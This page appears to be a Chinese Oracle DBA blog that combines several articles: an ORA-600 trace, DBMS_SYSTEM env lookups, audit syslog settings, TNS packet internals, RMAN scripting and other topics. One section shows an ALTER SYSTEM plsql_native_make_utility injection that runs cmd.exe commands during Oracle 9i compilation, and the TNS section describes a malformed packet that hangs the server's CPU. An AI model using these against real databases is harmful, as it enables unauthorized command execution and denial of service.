ORA-00600 [3756]内部错误一例

一套Linux上的10.2.0.4系统出现3756内部错误:

Wed Sep  2 23:56:51 2009
ORA-00600: internal error code, arguments: [3756], [1], [2], [2149767406], [2], [2149796313], [], []
ORA-600 signalled during: ALTER DATABASE OPEN...

/*   详细的trace文件内容   */

Successfully allocated 2 recovery slaves
Using 550 overflow buffers per recovery slave
Thread 1 checkpoint: logseq 139, block 125089, scn 10739730905
  cache-low rba: logseq 139, block 125185
    on-disk rba: logseq 139, block 125195, scn 10739731787
  start recovery at logseq 139, block 125185, scn 0
----- Redo read statistics for thread 1 -----
Read rate (ASYNC): 0Kb in 0.10s => 0.00 Mb/sec
Total physical reads: 4096Kb
----------------------------------------------
----- Recovery Hash Table Statistics ---------
Hash table buckets = 32768
Longest hash chain = 0
Average hash chain = 0/0 = 0.0
Max compares per lookup = 0
Avg compares per lookup = 0/0 = 0.0
----------------------------------------------
*** 2009-09-02 23:56:50.288
KCRA: start recovery claims for 0 data blocks
*** 2009-09-02 23:56:50.288
KCRA: blocks processed = 0/0, claimed = 0, eliminated = 0
*** 2009-09-02 23:56:50.289
Recovery of Online Redo Log: Thread 1 Group 10 Seq 139 Reading mem 0
----- Recovery Hash Table Statistics ---------
Hash table buckets = 32768
Longest hash chain = 0
Average hash chain = 0/0 = 0.0

Max compares per lookup = 0
Avg compares per lookup = 0/0 = 0.0
----------------------------------------------
*** 2009-09-02 23:56:50.289
ksedmp: internal or fatal error
ORA-00600: internal error code, arguments: [3756], [1], [2], [2149767406], [2], [2149796313], [], []
Current SQL statement for this session:
ALTER DATABASE OPEN
----- Call Stack Trace -----
calling              call     entry                argument values in hex
location             type     point                (? means dubious value)
-------------------- -------- -------------------- ----------------------------
ksedst()+31          call     ksedst1()            000000000 ? 000000001 ?
                                                   7FFF45294410 ? 7FFF45294470 ?
                                                   7FFF452943B0 ? 000000000 ?
ksedmp()+610         call     ksedst()             000000000 ? 000000001 ?
                                                   7FFF45294410 ? 7FFF45294470 ?
                                                   7FFF452943B0 ? 000000000 ?
ksfdmp()+21          call     ksedmp()             000000003 ? 000000001 ?
                                                   7FFF45294410 ? 7FFF45294470 ?
                                                   7FFF452943B0 ? 000000000 ?
kgeriv()+176         call     ksfdmp()             000000003 ? 000000001 ?
                                                   7FFF45294410 ? 7FFF45294470 ?
                                                   7FFF452943B0 ? 000000000 ?
kgesiv()+119         call     kgeriv()             0068966E0 ? 007448630 ?
                                                   000000000 ? 000000000 ?
                                                   7FFF452943B0 ? 000000000 ?
ksesic5()+215        call     kgesiv()             0068966E0 ? 007448630 ?
                                                   000000EAC ? 000000005 ?
                                                   7FFF45295190 ? 000000000 ?
kctrec()+4141        call     ksesic5()            000000EAC ? 000000000 ?
                                                   000000001 ? 000000000 ?
                                                   000000002 ? 000000000 ?
kcvcrv()+4760        call     kctrec()             7FFF4529EBB0 ? 000000000 ?
                                                   007422F00 ? 007423568 ?
                                                   2AED1E397E00 ? 000000000 ?
kcfopd()+876         call     kcvcrv()             7FFF4529F358 ? 000000000 ?
                                                   000000006 ? 007423568 ?
                                                   2AED1E397E00 ? 000000000 ?
adbdrv()+56506       call     kcfopd()             000000000 ? 000000000 ?
                                                   000000000 ? 000000000 ?
                                                   2AED1E397E00 ? 000000000 ?
opiexe()+13505       call     adbdrv()             000000000 ? 000000000 ?
                                                   0F6FFF9B0 ? 000000000 ?
                                                   2AED1E397E00 ? 000000000 ?

该错误一般不会导致实例crash,大多数情况下可以通过重建控制文件规避。

在PL/SQL中获取操作系统环境变量

Oracle 10g引入了 DBMS_SYSTEM包中的一个过程GET_ENV。这个过程获得一个环境变量名称并返回环境变量的值。但是它不会返回环境变量PATH的值:

set serveroutput on;
create or replace PROCEDURE dump_osenvs as
buffer varchar2(300);
begin

sys.dbms_system.get_env(‘ORACLE_HOME’, buffer);
dbms_output.put_line(‘ORACLE_HOME: ‘|| buffer);
sys.dbms_system.get_env(‘ORACLE_SID’,buffer);
dbms_output.put_line(‘ORACLE_SID: ‘|| buffer);
sys.dbms_system.get_env(‘COMPUTERNAME’,buffer);
dbms_output.put_line(‘COMPUTERNAME: ‘|| buffer);
sys.dbms_system.get_env(‘OS’,buffer);
dbms_output.put_line(‘OS: ‘|| buffer);
sys.dbms_system.get_env(‘TEMP’,buffer);
dbms_output.put_line(‘TEMP: ‘|| buffer);
sys.dbms_system.get_env(‘WINDIR’,buffer);
dbms_output.put_line(‘WINDIR: ‘|| buffer);
sys.dbms_system.get_env(‘SYSTEMROOT’,buffer);
dbms_output.put_line(‘SYSTEMROOT: ‘|| buffer);
sys.dbms_system.get_env(‘PROGRAMFILES’,buffer);
dbms_output.put_line(‘PROGRAMFILES: ‘|| buffer);
sys.dbms_system.get_env(‘COMSPEC’,buffer);
dbms_output.put_line(‘COMSPEC: ‘|| buffer);
sys.dbms_system.get_env(‘PROCESSOR_ARCHITECTURE’,buffer);
dbms_output.put_line(‘PROCESSOR_ARCHITECTURE: ‘|| buffer);
sys.dbms_system.get_env(‘PROCESSOR_IDENTIFIER’,buffer);
dbms_output.put_line(‘PROCESSOR_IDENTIFIER: ‘|| buffer);
end ;
/

过程已创建。

下面给出这个过程的输出结果:

SQL> exec dump_osenvs;
ORACLE_HOME: E:\oracle\product\10.2.0\db_1
ORACLE_SID: orclv
COMPUTERNAME: WIN_DESK1
OS: Windows_NT
TEMP: C:\WINDOWS\TEMP
WINDIR: C:\WINDOWS
SYSTEMROOT: C:\WINDOWS
PROGRAMFILES: C:\Program Files
COMSPEC: C:\WINDOWS\system32\cmd.exe
PROCESSOR_ARCHITECTURE: x86
PROCESSOR_IDENTIFIER: x86 Family 6 Model 15 Stepping 13, GenuineIntel

PL/SQL 过程已成功完成。

转载请注明源地址: www.askmac.cn

利用SQL DEVELOPER导入EXCEL数据到Oracle数据库中

日常工作中往往涉及到数据导入工作,平时办公中excel应用十分广泛,导入工作我们一般都是将excel内容复制到文本文件中然后利用sqlldr工具导入。较新版本的Sql Developer提供了直接excel导入到表的功能,下面我们来尝试一下:
需要导入的excel的数据如下:
辅导书

在Oracle数据库中建立实验所需要的表:

凤飞飞

其中t1为主键;
点中创建好的表右键选择导入数据,选择需要导入的excel文件(目前仅支持xls格式不支持xlsx格式):

1231

若表格中有列名,则钩上”标题?”选项:

2222

单击下一步,选择需要的列:

3333

选择完成后单击下一步,将源数据列与目标表列一一对应:

vvv

单击下一步,选择导入前验证导入参数,出现以下条目:
验证表名 SUCCESS
验证源列是否映射了目标列 SUCCESS
验证源列是否定义了数据类型 SUCCESS
验证列的大小字段 SUCCESS
针对列大小检查数据 SUCCESS
验证日期列是否具有日期格式 SUCCESS
验证是否支持这些数据类型的导入 SUCCESS
单击完成,消息窗口出现导入日志:

bbbb

注意到这一步为止仍没有commit,需要到相关窗口点下commit按钮:

nnnn

目前Sql Developer中的excel导入功能已经较为完善,在版本1.5.5之前普遍存在next按钮无反应的bug。

转载请注明源地址: www.askmac.cn

Oracle 审计参数AUDIT_SYSLOG_LEVEL介绍

文档中描述的审计参数AUDIT_SYSLOG_LEVEL比较模糊,仅有几处提及,且其实际功能要较文档描述的更强大。

数据库中由SYS用户或其他管理员用户所作的操作均可以被审计且记录到由root用户拥有的系统级日志中。这样就可以避免有人使用Oracle的OS账户修改普通审计日志删除相关操作信息。启用(AUDIT_TRAIL=OS)在Oracle审计目录中记录日志或启用 (AUDIT_TRAIL=DB)在数据库中记录审计信息都是不妥当的,显然DBA总是可以修改它们。通过UNIX系统级的日志组件来进行审计对防止黑客侵入和“内鬼“捣乱都很有效。

结合UNIX中的SYSLOG组件记录审计信息是Oracle 10g的一个新特性。该组件包括一个守护进程(daemon)名叫syslogd(你可以通过man syslogd查询其相关手册),该进程用以接受由应用程序调用syslog的C函数库所发送的日志信息。Syslogd服务(service)的配置文件一般是/etc/syslog.conf,日志信息一般被记录在/var/log或/var/adm视乎不同的UNIX发行版本。日志文件名由相关组件名,重要性和级别组成。在/etc/syslog.conf每条记录为特定的组件与重要性指定文件名。在该配置文件中加入记录:user.notice  /var/log/oracle_dbms,并使syslogd进程重启,接下来修改Oracle 参数 AUDIT_SYSLOG_LEVEL=user.notice,则相关的审计记录将出现在文件/var/log/oracle_dbms中。

在UNIX系统上,以SYSDBA或SYSOPER权限进行的CONNECT,STARTUP与SHUTDOWN操作均会被无条件地记录到$ORACLE_HOME/rdbms/audit或AUDIT_FILE_DEST指定的目录中,并使用扩展名为.aud。 Oracle 9i以后版本中通过设置AUDIT_SYS_OPERATIONS=TURE可以记录不限于CONNECT,STARTUP,SHUTDOWN的以SYSDBA或SYSOPER进行的操作。

windows Oracle audit

windows Oracle audit

当AUDIT_SYSLOG_LEVEL参数与AUDIT_SYS_OPERATIONS参数被结合使用时,任何以SYS运行的SQL和PL/SQL均使用syslog组件被审计记录。 由于syslog所使用的文件是root用户拥有的,一般dba是不能获得root账号的,故dba无法修改相关文件。当然,这也预示当主机被侵入时,只要不是使用root账户,其相关的操作仍被记录。

在Windows平台上,AUDIT_SYSLOG_LEVEL参数和AUDIT_FILE_DEST参数没有作用,因为Windows使用事务记录服务(事务管理器)作为系统级审计。如同UNIX一样,CONNECT,STARTUP,SHUTDOWN 操作是无条件记录的。当设置AUDIT_SYS_OPERATIONS=TURE时,SYSDBA或SYSOPER的其他操作也被记录到事务管理器中,你可以通过 START > CONTROL PANEL > Administrative Tools > Event Viewer找到事务管理器。其中日志分类为应用程序(APPlication)来源(SOURCE)为oracle.ORACLE_SID形式。

以下为Oracle Database reference 10g Release 2手册中关于AUDIT_SYSLOG_LEVEL的解释

AUDIT_SYSLOG_LEVEL enables OS audit logs to be written to the system via the syslog utility, if the AUDIT_TRAIL parameter is set to OS. The value of facility can be any of following : USER,LOCAL-LOCAL7,SYSLOG,DAEMON,KERN,MAIL,AUTH,LRP,NEW,UUCP or CRON. The value of level can be any of following : NOTICE,INFO,DEBUG,WARNING,ERR,CIRT,ALERT,EMERG.

在Solaris10和 Red Hat Linux系统上的测试说明文档的解释是不准确的:

1.  AUDIT_SYSLOG_LEVEL 独立于AUDIT_TRAIL, 当设置了AUDIT_SYSLOG_LEVEL而AUDIT_TRAIL为默认值 NONE时, CONNECT,STARTUP,与SHUTDOWN信息始终由SYSLOG记录。

2.  同时设置AUDIT_SYSLOG_LEVEL与AUDIT_SYS_OPERATIONS=TURE 会将SYSDBA 或SYSOPER权限执行的任何操作通过SYSLOG记录,即便AUDIT_TRAIL=NONE

3.  仅特定的组件与级别组合可正常使用。 不适用的组合会引起”ORA-32028:Syslog facility or level not recognized” 错误,可能导致数据库无法启动。

转载请注明源地址: www.askmac.cn

Oracle TNS协议中数据包的内部结构

在线路上看到的包绝大多数是数据包(类型6)。对数据包而言,TNS包头后面的一个字(WORD)用来存储数据标志位(data flag)。如果这个包是一个断开连接包,那么这个字(WORD)被设为0x0040–否则,一般设为0x0000。

注意:

所有的Oracle版本中都存在一个故障(bug):在服务器处理一个数据包(类型6)的时候,该数据包的数据标志位的第2个比特已被设置,但第1个(最不重要的)比特没有被设置(例如,数字2,6,10,14等)。如果服务器受到这样的包,它就会花费点所有可利用的CPU处理时间,以一个死循环而告终。很明显,这对服务器性能会产生消极的影响。

数据标志位后面的一个字节(第11个字节)决定了数据包里的内容:

0x01表示协议商议。这里,客户机降可以接受的协议版本发送给服务器–他们是6,5,4,3,2,1和0.服务器回复一个通用的版本(例如,6或5),不过它还会发送一些额外的信息,如它使用的字符集,这个集合共有多少个字符,版本字符串和服务器标志。

0x02表示交换数据类型表示法。

0x03表示一次双任务接口(Two-Task Interface,TTI)函数调用。下面的表列出了一些函数:

0x02   Open

0x03   Query

0x04  Execute

oxo5   Fetch

oxo8   Close

0x09   Disconnect/logoff

oxoc   Autocommit on

oxod   Autocommit off

oxoe  commit

oxof  rollback

ox14  Cancel

0x2B  Describe

0x30 Startup

0x31  Shutdown

0x3b   version

ox43  K2 Transactions

0x47   Query

0x4A   OSQL7

ox5c    OKOD

ox5e   Query

ox60   LOB operations

ox62   ONDY

ox67    Transaction – end

ox68    Transaction – begin

ox69    OCCA

ox6d   startup

ox51     Logon (present password)

ox52    Logon (present username)

0x73  Logon(present password  -sned AUTH_PASSWORD)

ox76  Logon (present username – request AUTH_SESSKEY)

0x77   Describe

ox7F  OOTCM

ox8B  OKPFC

其中某些函数的调用优先于身份验证–例如,版本(ox3B)TTI函数:

0x08 表示:”OK” — 由相应某个客户机的服务器发送。

ox11 表示扩展的TTI函数。这些事在更高版本的Oracle中被引入的,因此为了向下兼容,没有使用oxo3。

下面给出了一些函数代码:

ox6b   Switch or Detach Session

ox78   Close

0x87   OSCID

0x9A   OKEYVAL

0x20 在调用外部过程并且带有服务限制的情况下使用。

0x44  也在调用外部过程并且带有服务限制的情况下使用。

检查Oracle JDBC驱动(classes12.zip)并不是获得TNS协议句柄的最佳方法,最佳方法是用一个网络嗅探器从线路上抓取一些包,然后观察接下来发生的情况。

转载请注明源地址: www.askmac.cn

Building a RAC Test Environment on VMWare For Free

•VMWare Orientation
•Importance of prerequisite checking
•Configuring node #1
•Cloning (VM) node #1
•Installing Clusterware
•Installing ASM and Database
•Creating Database
•Common Challenges and Issues

VMWare Orientation
•Desktop Products
–VMWare Workstation: “Full” product, $
–VMWare Player: Free, no creation, just use
•Server Products
–VMWare Infrastructure (ESX Server): $$$,
robust, clustering capable, OS replacement
–VMWare VirtualCenter: $$, management
tool for whole environment, Windows
–VMWare Server: free, limited, on top of OS

使用ALTER SYSTEM运行OS命令

这里举出一个攻击代码例子,你也许会觉得惊奇,抑或认为这是一个运行命令的好办法,是的它很“有用”。

在Oracle 9i中允许采用Oracle本地编译PL/SQL应用程序的方式进行操作。显然,可以利用这一点来运行OS命令:

SQL> alter system set plsql_native_make_utility=’cmd.exe /C dir >C:\oops.txt &’;

SQL> alter system set plsql_native_make_file_name=’ foo’;

SQL> alter system set plsql_native_library_dir=’bee’;

系统已更改。

create or replace PROCEDURE wcg

IS

BEGIN
NULL;

END;

/

show errors

在Oracle编译wcg过程的时候,Oracle会执行下面的代码:

cmd.exe /C dir > C:\oops.txt -& -f foo

bee/RUN_CMD__SYSTEM__0.DLL

Oracle10g中 plsql_native_make_utility与plsql_native_make_file_name2个参数已被废弃。

数据库味道

Fowler在他的著作中引入了“代码味道”的概念,它是代码中的一类常见问题,表明需要进行重构。常见的代码味道包括switch语句,长方法,重复代码,特性羡慕等。有一些常见的数据库味道,表明可能需要进行重构。这些味道包括:

  • 多用途的列。如果一个列被用于多种用途,就有可能存在额外的代码来确保源数据以“正确的方式”使用,这些代码常常会检查一个列或更多其他列的值。一个例子是:一个列用于存储某人的生日,如果此人是顾客的话。但如果此人是公司雇员,这个列就用于存储此人进公司的日期。更糟糕的是,你可能在目前能支持的功能上受到限制–例如,如何存放雇员的生日?
  • 多用途的表。类似地,如果一个表被用于存放几种类型的实体,就可能存在设计缺陷。例如,一个通用的Customer表中存放人和公司的信息。这种方式的问题在于,人和公司的数据结构式不一样的,人有名有姓,而公司只有一个法定名称。一个通用的Customer表中可能包含一些列,对某些类型的客户来说这些列为空,而对另一些类型的客户来说这些列不为空。
  • 重复的数据。重复的数据对操作型(operational)数据库来说是个严重的问题,因为数据存放在几个地方,不一致的机会就增加了。例如,常常会发现顾客信息被存放在组织机构中的许多不同地方。实际上,许多公司不能集中得到一份准确的清单,说明谁是他们的客户。问题在于,一个表中的John Smith住在Main大街123号,而一个表中的John Smith住在Elm大街456号,在这个例子中,实际上只有一个人,以前住在Main大街123号,去年搬到Elm大街456号。不幸的是,John没有向贵公司提交两份地址变更表格,你的每个一直到他的应用都需要进行地址变更。
  • 列太多的表。当一个表包含太多的列时,说明这个表缺乏内聚– 它试图存放自己类试题的数据。也许你的Customer表包含了一些列,存放了3个不同的地址(发货地址,账单地址,季节性地址)或几个电话号码(家庭电话,工作电话,移动电话等等)。你可能需要将这种结构进行标准化处理,假如Address和PhoneNumber表
  • 行太多的表。大的表往往有性能问题。例如,在一个几百万行的表中查找时很花时间的。你可能需要对该表进行垂直分割,将一些列移到另一个表中,或者进行水平分割,将一些行移到另一个表中。这两种策略都会减小表的规模,可能改善性能。
  • “智能”列。智能列是这样一种列。其中数据的不同位置代表不同的概念。例如,如果客户ID的前4位代表客户的开户行(home branch),那么客户ID就是一个智能列,因为你会解析它以取得更细粒度的信息。另一个例子是使用一个文本列来保存XML数据结构;很清楚,你需要解析XML数据结构获得粒度更小的数据字段。智能列常常需要重新组织构成它的一些数据字段,这样数据库就将它们作为单独的元素进行处理。
  • 害怕变化。如果你害怕改动你的数据库Schema,因为你担心会破坏什么东西–例如,50个访问该数据库的应用–那么这就是一个很明确的信号,你需要重构schema。害怕变化本身就很好地说明了你在冒很严重的技术风险,这种情况会随时间的推移而变得更糟。

重要的一点是要理解,仅仅因为存在某种味道,并不表明它坏了–limburger干酪即使在最好的状态下也有味道。但是,如果牛奶闻起来味道不对,你就知道它坏了。如果存在某味道,就观察它,思考它,如果重构有意义就进行重构。

使用Oracle RMAN脚本

为什么要使用脚本?

为什么要使用RMAN命令脚本呢? 这里有2个主要原因:

  1. 绝大多数RMAN操作都是批量的同时也是自动化的。举例来说,备份数据库是一个反反复复的操作而非每次执行都要费一番功夫写命令。
  2. 脚本提供了一致性。在临时性的抑或者说一次性的操作,譬如从备份中恢复数据库,一般都不适用自动化。但是,操作本身是相同的,无论DBA在何种环境下。

Oracle11g中有两种脚本形式

  1. 使用命令文件: 即文件系统上的一个文本文件,也叫平面文件。
  2. 使用存储的脚本,该脚本存储在Oracle恢复目录中,由RMAN命令行调用。

命令文件形式

Oracle 命令文件是一种文本解释文件类似于UNIX下的SHELL脚本和Windows中的批处理作业BAT文件。代码演示1中展示了一个非常简单的例子,用以备份USERS表空间。其中扩展名.rman是非必要的,但有助于帮您理清文件用途。

代码演示1:备份USERS表空间的脚本

connect target /

connect catalog rman/secretpass@rmancat

run {

allocate channel c1 type disk format ‘/orabak/%U’;

backup tablespace users;

}

你可以通过多种方式调用脚本,例如自RMAN提示行中:

RMAN> @backup_ts_users.rman

注意调用使用的符号@

您也可以在SHELL中调用脚本,例如:

rman @backup_ts_users.rman

这种方式十分有用,若不想使用@符号,用以下方式替代:

rman cmdfile=backup_ts_users.rman

注意CONNECT子句是放在backup_ts_users.rman命令文件中的,故再次无需提供用户名与密码,也保障了没有泄露密码的危险。

传递参数: backup_ts_users.rman命令文件运行地不错,但他太固定了。他将备份输出到某个特定目录且只备份一个表空间(USERS)。若你想要备份到另一处或其他表空间是,你需要创建新的脚本。

一个较好的策略是使用参数驱动的RMAN脚本。比起硬编码来,参数传递脚本灵活得多。代码演示2中展示了修改了的backup_ts_users .rman脚本。

代码演示2: 参数驱动脚本

connect target /

connect catalog rman/secretpass@rmancat

run {

allocate channel c1 type disk format ‘&1/%U’;

backup tablespace &2;

}

另一个SHELL脚本,名为backup_ts_generic.sh调用以上脚本,传递参数/tmp作为备份目录以及USERS为备份表空间对象。

$ORACLE_HOME/bin/rman <<EOF

@backup_ts_generic.rman “/tmp” USERS

EOF

你还可以使之更灵活,你可以将backup_ts_generic.sh第二行做以下修改:

@backup_ts_generic.rman “/tmp” $1

则您可以将参数传递给sh脚本,在以/tmp为固定备份目录的情况下。例如您要备份MYTS表空间:

backup_ts_generic.sh MYTS1

日志设置: 当你通过某种自动设置来运行RMAN脚本时,实际没有人在观察命令窗口,那我们如何找到RMAN的输出呢?这些输出日志使我们了解脚本的运行结果故之分重要,为了获取日志,我们可以使用log选项。

rman cmdfile=backup_ts_users.rman log=backup_ts_users.log

现在backup_ts_users.rman脚本的输出日志将会记录在名为backup_ts_users.log 的文件中而非出现在屏幕上。

存储脚本

虽然脚本文件可以满足大多数情况,但他们也有部分缺点。脚本文件总是存放在服务器上,这显得并不十分安全,因为只要有阅读该文件的权限就可以获取SYS等账号的密码。

解决方法就是使用RMAN的存储脚本,存储脚本保存在了Oracle恢复目录中,而非直接存放在服务器上。代码演示3展示了调用存储脚本的例子。

代码演示3

RMAN> run { execute script

backup_ts_users; }

C:\> rman

RMAN> connect target /

RMAN> connect catalog rman/secretpass@rmancat

RMAN> create script backup_ts_users

2> comment ‘Tablespace Users Backup’

3> {

4>      allocate channel c1 type disk format ‘c:\temp\%U’;

5>      backup tablespace users;

6> }

在代码演示3中存储脚本backup_ts_users仅在用户连接到目标数据库是可见。同时存储脚本也可以做到传递参数,如代码演示4

代码演示4:参数驱动的存储脚本:

RMAN> create script backup_ts_any

2> comment ‘Any Tablespace Backup’

3> {

4>      allocate channel c1 type disk format ‘c:\temp\%U’;

5>      backup tablespace &1;

Enter value for 1: users

users;

6> }

7>

调用参数驱动存储脚本时,我们需要使用USING 子句。如下例,使用存储脚本备份SYSTEM表空间:

run { execute script

backup_ts_any using ‘SYSTEM’; }

管理存储脚本:RMAN工具提供了管理存储脚本的必要方式。

可以用一下命令列出存储的脚本:

RMAN> list script names;

List of Stored Scripts in Recovery Catalog

Scripts of Target Database ARUPLAP1

Script Name

Description

————

backup_ts_any

Any Tablespace Backup

backup_ts_users

Tablespace Users Backup

以上命令会列出脚本的本地和全局名。

若只需要列出全局名,可以使用以下命令:

RMAN> list global script names;

若要显示某个脚本的具体内容,例如back_ts_any,可以使用以下命令:

RMAN> print global script

backup_ts_level1_any;

删除一个存储脚本:

RMAN> delete global script

backup_ts_level1_any;

你也可以通过一个脚本文件创建存储脚本,如以下:

RMAN> create script backup_ts_users

from file ‘backup_ts_users.rman’;

当然你也可以通过存储脚本还原出一个平面脚本文件:

RMAN> print script backup_ts_users

to file ‘backup_ts_users.rman’;

oracle express介绍

Oracle express 不是一种新型火车也不是一种新型的邮递服务。Oracle express是个多维的数据库和应用程序环境,这个应用程序环境是用来构建OLAP应用程序的。Express的组件(或者OLAP选项)是维(多维部分中的一部分)和变量。维是在Express数据库中分解出的逻辑单元。维是数据库的核心单元,它更像数据仓库表格的数维或者逻辑表达式的限制子句。product=TevaSandals,gender=male或者date_of_birth介于某个日期范围都是这样的字句示例。

变量是在Express数据库中包含数据的对象。这些变量不比用维描述的值(类似数据仓库的值,它的典型值是数字)的数组更重要。把这个数组的概念扩展一下,就可以把它看做表。把销售的变量看做维,可能就是Product ,Sales_District和Sales_dt_time。3个成为维的变量经常被称作数据立方体。

对Express数据库来说,具有多个变量,每个变量又是多维的情况并不常见(类似事件的一些维数通常是多个变量,而某些维对于变量是唯一的)。

Express数据库中的数据以这种多维方式存储,而不是典型的数据库结构,甚至以关系对象结构存储,因为这样会使用户处理回答他们业务问题的信息更快。因为业务经常需要以这种方式切片和切块数据,这就是他是OLAP数据库的原因。这种方式与那些在一般数据库中支持的方式是不同的。

Express有两个为支持无限制用户数而设计的功能。Express服务器为更大的应用程序而设计,它是个多维的数据储存器。Express服务器经常与已存在的数据仓库一起使用,或者作为一个功能全面的数据仓库的前身。根据需要,Express Server可替代数据仓库。Personal Express 是单用户的Express Server ,它由对数据做OLAP分析的个人使用,这样就不需要花费更大的代价和时间去执行一个功能全面的组织数据仓库。

还有很多这样的工具,他们作为Express服务器数据库产品的附加工具。Express Analyzer 是用来生成报告和分析Express服务器的工具。Express Objects 是支持开发Express数据库应用程序的OO工具。也可使用Express Web Publisher发布目录到Web上供别人查看。Express Spreadsheet是为Microsoft Excel和Express Sever数据库之间的接口提供的插件。

沪ICP备14014813号-2

沪公网安备 31010802001379号